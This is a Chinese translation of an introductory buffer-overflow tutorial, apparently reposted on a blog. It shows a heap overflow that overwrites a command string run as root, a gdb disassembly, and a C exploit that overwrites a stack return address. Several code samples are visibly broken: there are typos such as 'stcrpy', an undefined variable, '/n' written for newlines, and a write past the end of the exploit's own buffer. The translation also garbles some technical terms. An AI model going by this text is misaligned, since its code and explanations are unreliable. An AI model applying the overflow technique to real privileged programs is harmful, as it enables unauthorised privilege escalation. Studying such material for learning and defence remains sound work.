缓冲器溢出指南

本文深入探讨了缓冲区溢出的概念及其在程序开发中的应用,包括C语言代码示例、如何利用缓冲区溢出进行程序调试及攻击原理等内容。

           

translate by 峰子
-------
介绍
-------
    你们好,又和大家见面了,这次我要让你知道什么是真正的缓冲器溢出和如何利用缓冲器溢出的脆弱性来编译一些程序。这文章含有C语言程序的源代码,因此,如果你不会C语言的话,你将会感觉到很吃力,并且,你也要对汇编有一定的了解,知道如何使用gdb。

    我将试着以最简单语言表达出来,但是对于这篇文章,并不是写给那些一无所知的人来看的.也不是读一遍就可以明白的.所以你要花一些时间去阅读,而且我花了更多的时间把它写出来.:)
  
    这里面一些要注意的是,像所有的人一样喜欢一边做一边学,所以在几星期前我对自己说:"嗨,什么是heck(所雇于人而工作无趣的文人),为什么不开始读一些关于缓冲器溢出的文章,我知道很多事情我们都在做着,但只是很肤浅地做着。"所以我就开始学习,然而现在我就试着把我所学的东西送给每一个对于缓冲器溢出感兴趣的人。这文章不能让你学到所有的东西,只不过是一个初步的认识。就像题目所写的一样---引言。(在结束时,我将送你们一些让你们兴奋的东西。)

---------
Exploit?
---------
    几乎所有人都知道什么叫Exploit。但是你仍然会明白每当一个人第一次到安全地方时,大概他不会
有任何的顾虑,这就是我写这篇文章的原因之一。

    对于一些不明确的程序开发,我们通常会用C语言,在这开发得到的一些程序可能其它地方也有。这
些程序能让你随心所欲地运行,并为你做一些以前你在正常系统里不能做的事情。

    现在最多的开发,就是我们所说的缓冲器溢出的开发。你说什么?不要急!毕竟,这还是文章的题目。
另外的方面就是你应该知道每一个人都要会怎么用它(你会怎样想象网站受到最大程度的毁坏?)有人曾
到一些程序开发的网站,如Security focus,Packetstorm或Fyodor,下载并运行程序,结果得到的是
非法操作。但是,为什么不是每个人都写开发程序?问题在于一些人不懂得怎么样去发现原代码的某些弱
点,甚至他们根本没有能力去写。所以现在你肯定有这样的一个想法,到底什么才叫一个开拓,让我们来
到缓冲器溢出的开头部分。

--------------------
缓冲器溢出到底是什么?
--------------------

    正如我前面所说的最多的Exploit,都是有关于缓冲器溢出的开发。

    你大概会在想:"哎…这家伙又在胡说一通,还是没有说到底什么是缓冲器溢出。"那么我就开始说有关它的事情了。
   
    缓冲器溢出的问题,是基于程序在内存中的数据存放的地址。你会问道:这又是为什么呢?因为缓冲器溢出而重写的内存地址,那些地方就会有我们想要的东西,你就可以做一些程序去得到你想要的东西了。

    那你就会想:"哈,我已经知道缓冲器溢出是怎样工作的了。"但你仍然不懂得怎样去发现它们。让我们根据一个程序试着去发现和调整缓冲器溢出。


----------以下是部分代码------------
main(int argc, char **argv) {

      char *somevar;
      char *important;

      somevar = (char *)malloc(sizeof(char)*4);
      important = (char *)malloc(sizeof(char)*14);

      strcpy(important, "command");  /*这是一个重要的变量*/

      stcrpy(somevar, argv[1]);

…….一些代码……
  }
…另外一些函数…

------------代码结束------------

   
    让我们讲讲一些系统指令喜欢用的重要变量,比如“chmod o-r file”,由于文件是属于根用户的,程序也是由根用户运行的,这就是说你能够运行一些命令,也可以执行任何的系统命令。那你就会想,我怎样才能够在重要的变量里得到一些我想要的东西。办法就是从内存的溢出中找到它。但是要看内存变量的地址,那你就要重写代码了。看看下面的代码。

----------部分代码----------------

main (int argc, char **argv) {


   char *somevar;
   char *important;

   somevar=(char *)malloc(sizeof(char)*4);
   important=(char *)malloc(sizeof(char)*14);

   printf("%p/n%p", somevar, important);
   exit(0);

   rest of code here

}

---------------部分代码结束--------------------

让我们在原代码中加两行,但又要让它没有任何的变动。让我们看一下那两行到底是干什么的。

   printf("%p/n%p", somevar, important);
                                         这一行是给somevar和important变量显示内存地址。

   exit(0);
              这一行只是当你不要任何东西时让程序暂时停顿,而你的目的是想知道变量到底贮存在哪个地方。在程序运行完后,结果如下。一般情况下内存地址是不一样的:

      0x8049700      <----- 这就是somevar的地址
      0x8049710      <----- 这就是important的地址

    正如我们所看到的,important变量是在somevar变量的后面,这就可以让我们使用缓冲器溢出的技巧,从argv[1]得到somevar变量。现在,我们就可以知道下一步要干什么了,但是我们还是要检查每一个内存地址,以至能够得到准确的贮存数据。要做到这一些,我们还要再一次重写代码。

-------------部分代码----------------------
main(int argc, char **argv) {

   char *somevar;
   char *important;
   char *temp; /* 这需要另一个变量*/


   somevar=(char *)malloc(sizeof(char)*4);
   important=(char *)malloc(sizeof(char)*14);

   strcpy(important, "command");  /*这个是important变量*/
   stcrpy(str, argv[1]);



   printf("%p/n%p/n", somevar, important);
   printf("Starting To Print memory address:/n");

   temp = somevar; /* 这将会把temp放在内存的首个地址*/
      while(temp < important + 14) {

      /*当到达最后的important变量的内存地址时,这个循环就会给退出*/

         printf("%p: %c (0x%x)/n", temp, *temp, *(unsigned int*)temp);
         temp++;

      }

     exit(0);

     程序就在这里停顿了
}
------ 部分代码结束-----

现在说一下argv[1]给正常地使用。所以你只要在你的提示下输入:

$ program_name send


你将会得到以下另一个的输出:

0x8049700
0x8049710

开始显示内存地址:

0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61)    <---- 每一行代表一个内存地址
0x8049703: d (0x0)
0x8049704:  (0x0)
0x8049705:  (0x0)
0x8049706:  (0x0)
0x8049707:  (0x0)
0x8049708:  (0x0)
0x8049709:  (0x19000000)
0x804970a:  (0x190000)
0x804970b:  (0x1900)
0x804970c:  (0x19)
0x804970d:  (0x63000000)
0x804970e:  (0x6f630000)
0x804970f:  (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717:  (0x0)
0x8049718:  (0x0)
0x8049719:  (0x0)
0x804971a:  (0x0)
0x804971b:  (0x0)
0x804971c:  (0x0)
0x804971d:  (0x0)
$


是不是很令人愉快?现在你会知道在somevar和important之间存在12个空白的内存地址。所以让我们运行有
这样一行命令的程序:

$ program_name send------------新的命令

你将会得到另一个如下输出:

0x8049700
0x8049710

开始显示内存地址:

0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- 这就是important变量开始的内存地址
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a:  (0x0)
0x804971b:  (0x0)
0x804971c:  (0x0)
0x804971d:  (0x0)

    酷吧!新的命令把困难给克服了。这样就可以得到你想要的东西,然而代替一些猜测。

注意:记住,在somevar和important之间有时也会出现其它的变量,所以要检查它们的重要性和送它们到相同的地址,或者程序能够在到达你已改变的变量之前把它破坏。
    现在让我们想一下,这到底发生了什么事?正如我们可以从原代码看到的,somevar在important之   前给显示出来,这样就会造成,大多数的机会somevar会被放在内存的首位。现在,让我们核对每一个是怎样得到。由argv[1]得到somevar,从strcpy()函数得到important,但真正的问题是在你给 somevar赋值是在important能被重写之前的,这时的important已经在前一时间给赋值了。相对于缓冲器溢出可以适当地交换以下两行作为这个程序的补充:

strcpy(somevar, argv[1]);
strcpy(important, "command");

    如果这是一个由程序进入important内存地址并把它作为证据的办法,它将会在得到somevar之后被    指定important值的这样一个命令给覆盖。这是一种堆缓冲器溢出。在理论上,你大概会认为是很容易做到的,但在现实中,这确实不容易做到。以上我给的例子都是死程序,是不是?这确实是又痛苦又笨地去找一些重要的变量,然而你必须有能力在更原始的内存地址中的变量溢出写出来,往往这种条件都比较难实现,这就是为什么我们现在要讲栈缓冲器溢出的原因。


以下稍微要注意的:
------------------------
    在上一段我说到了堆和栈。你大概对两者比较疑惑。所以以下是两者比较简单易懂的定义:

堆---是你保留一个变量用的空间(当你使用malloc()函数时,你就会遇见)。

栈---从一个函数得到或返回数值的地方。

    当你试着栈溢出时,你会试图改变返回地址,使得程序在内存中跳过一些地方,而这些地方你已
    经放了一些你将要运行的命令。

    让我们进入栈中,这是给我大量并且源源不断的麻烦的一个部分。这里我们将要了解ASM(辅助
    存储管理程序)和怎么样处理gdb(相信我,它将会渐渐成为你最好的朋友)。坚持,不要放弃!
    我们将谈到粉碎由大量可以改变返回地址(RET)的攻击组成的栈。做这个时,你可以回到函数的
    某一个地址,这个地址你已事先放了一些你将要运行的命令。
如堆的溢出,让我们来看一些原代码。

------代码从这里开始------

/*栈溢出的例子*/

exploit(char *this) {
 char string[20];
 strcpy(string,this);
 printf("%s/n", string);
}
main(int argc, char *argv[]) {
 exploit(argv[1]);
}

------ 代码到此为止 -------

    现在我们试着调用两次exploit()函数。我们将要怎么做?我们先要找一些酷地址。这一次
    让我们使用gdb。我们首先进行编译。

$ gcc stack.c -o stack
$ gdb stack

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB是免费软件,由the GNU General Public 封装并认可,你可以在一定的条件下改变或照抄它。打入“show  copying”显示条件。对于GDB来说没有任何的担保。打入“show warranty”显
示细节。这个GDB是由"i586-suse-linux-gnu"...组成。
(gdb)

    这是现在我门将要分解主要部分所给你的提示。要做到这一点,我们只要打入"disassemble"(
    你也可以打入"disas"),是不是很困难?

(gdb) 分解主要部分的主要函数的汇编程序段的代码:
 0x8048440

:       push   %ebp
 0x8048441 :     mov    %esp,%ebp
 0x8048443 :     mov    0xc(%ebp),%eax
 0x8048446 :     add    $0x4,%eax
 0x8048449 :     mov    (%eax),%edx
 0x804844b :    push   %edx
 0x804844c :    call   0x8048410
 0x8048451 :    add    $0x4,%esp
 0x8048454 :    mov    %ebp,%esp
 0x8048456 :    pop    %ebp
 0x8048457 :    ret
(这里的一些NOPS。它们代表No Operation...meaning nothing运行。)
汇编程序段结束。

一些总结
-----------------
正如我们所看到的,exploit在0x804845c给调用,而它自己的地址就在0x8048410。

回到gdb
-----------------

(gdb)分解exploit
汇编程序段的结尾。
(gdb)
  0x8048410 :    push   %ebp
  0x8048411 :  mov    %esp,%ebp
  0x8048413 :  sub    $0x14,%esp
  0x8048416 :  mov    0x8(%ebp),%eax
  0x8048419 :  push   %eax
  0x804841a : lea    0xffffffec(%ebp),%eax
  0x804841d : push   %eax
  0x804841e : call   0x8048340
  0x8048423 : add    $0x8,%esp
  0x8048426 : lea    0xffffffec(%ebp),%eax
  0x8048429 : push   %eax
  0x804842a : push   $0x80484bc
  0x804842f : call   0x8048330
  0x8048434 : add    $0x8,%esp
  0x8048437 : mov    %ebp,%esp
  0x8048439 : pop    %ebp
  0x804843a : ret
 (gdb) x/3bc 0x80484bc
  0x80484bc <_IO_stdin_used+4>:   37 '%'  115 's' 10 '/n'
 (gdb)
 (gdb) quit
 $
回到提示

另外一个步骤的总结
------------------------

首先你大概会对x/3bc命令产生疑问。其实这个命令是让我们监视内存的。


     x/3bc
       ^^^
       |||--- 字符
       || --- 二进制
       |----- 定义3作为范围

(要得到更多的信息,在gdb的提示下输入"help x/")

我做这一步的目的是因为我不清楚放了什么进0x80484cc的栈,然而你会看到我们想要显示出来的字符串。


我们的目的
----------------------

    我们的目的是试着将exploit再一次返回exploit,代替返回主程序。所以我们该怎么做,又怎么知    道我们是否有能力做到?首先,我们大概可以做一些事情去开发代码,而这些代码是用来分离当我们在使用大量字符串时遇到的错误,很大的可能性不能做到。给自己加油!(建议尝试20次)要做到这一点,我们要修改RET(返回地址),当你在gdb看到这样一行时你就会想到:

      0x804844c :  call  0x8048410

    现在的问题是在这重要的一行中得到的两个地址,到底要用哪一个?其实很简单,你要用的是0x804844c,因为它是我们刚才所提到的其中一个调用,如果你用0x8048410的话,当我们指向以下行时根本不能得到任何东西:

       0x8048410 :    push   %ebp

----------代码从这开始---------------

/*为栈开发的exploit*/

#include

main() {

char buf[28];
int i;

for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}

------- 代码结束 --------


  通过以上所做的,我们将给返回函数的0x0804844c重写返回地址去再一次调用exploit。这样的话,我们就进入一个死循环。那为什么还要用这个程序?因为这里不会检查我们所送去的字符串的长度。这里给你一个建议,如果你要安全地得到一些东西的话,你就要总是使用检查长度的函数,
如fgets(), strncpy() instead of gets(), strcpy()等等。

gdb的使用技巧
--------------------

想要看一下一个exploit给vunerable程序带来的影响,进入gdb并打入:

(gdb) exec exploit
(gdb) symbol-file vunerable_program

然而你就能看到exploit到底做了什么,并且可以自己为其修改。

推荐阅读
----------------------

- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One


这三篇文章带给你所需大量的知识。它们都可以在可以在packetstorm找到。 

原文作者 : Ghost_rider

                                                                   

 
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值